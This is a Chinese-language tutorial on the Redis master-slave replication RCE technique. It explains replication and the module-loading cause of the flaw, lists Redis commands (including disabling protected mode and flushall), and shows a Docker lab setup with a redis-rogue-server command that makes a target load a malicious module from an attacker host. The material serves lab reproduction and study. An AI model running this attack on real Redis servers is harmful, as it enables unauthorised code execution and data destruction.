Redis主从复制RCE

概念

Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C(就是c啦)编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库。他比mysql快得多。

Redis 主从复制,就是指将一个 Redis 服务器(称为 主节点)的数据,复制到一个或多个其他 Redis 服务器(称为 从节点)的过程。

​ ·主节点:通常负责写操作,所有客户端的请求都发送到主服务器。

​ ·从节点:通常负责读操作,它们会精确地复制主节点的数据,客户端可以将读请求发送到从节点,以分担主节点的压力。

slave向master发送PSYNC命令得到的回应分类:

a) 全量同步(+FULLRESYNC)

会将master上的RDB文件同步到slave上

b) 增量同步(+CONTINUE)

slave向master要求数据同步,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件

特点:单向操作,只能从主节点复制到从节点

漏洞成因

redis从4.0版本开始就允许用户自定义加载模块(redis module),通过模块可以创建新的命令、数据类型、函数等。我们可以通过加载自己生成的恶意模块(so文件)从而可以实现在 redis 中实现一个新的 Redis 命令,从而来进行RCE。这里我们使用的是全量同步。

这里为什么要用到主从复制这个原理就是因为

1
Redis的命令集限制了我们。而主从复制攻击,表面上是“对主节点进行操作”(让目标作为从节点去连接我们控制的主节点),实质上是利用主从复制这个合法通道,将恶意模块从外部送入内部,最终达到在目标服务器上执行代码的目的。

redis常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
set xz "Hacker"                     # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接

漏洞利用条件

redis版本 4.x、5.x

漏洞复现

工具:https://github.com/n0b0dyCN/redis-rogue-server

环境搭建

1
2
docker pull damonevking/redis5.0
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server

工具使用

1
python3 redis-rogue-server.py --rhost 192.168.137.129 --lhost 192.168.137.129 --exp=exp.so

image-20251114135928636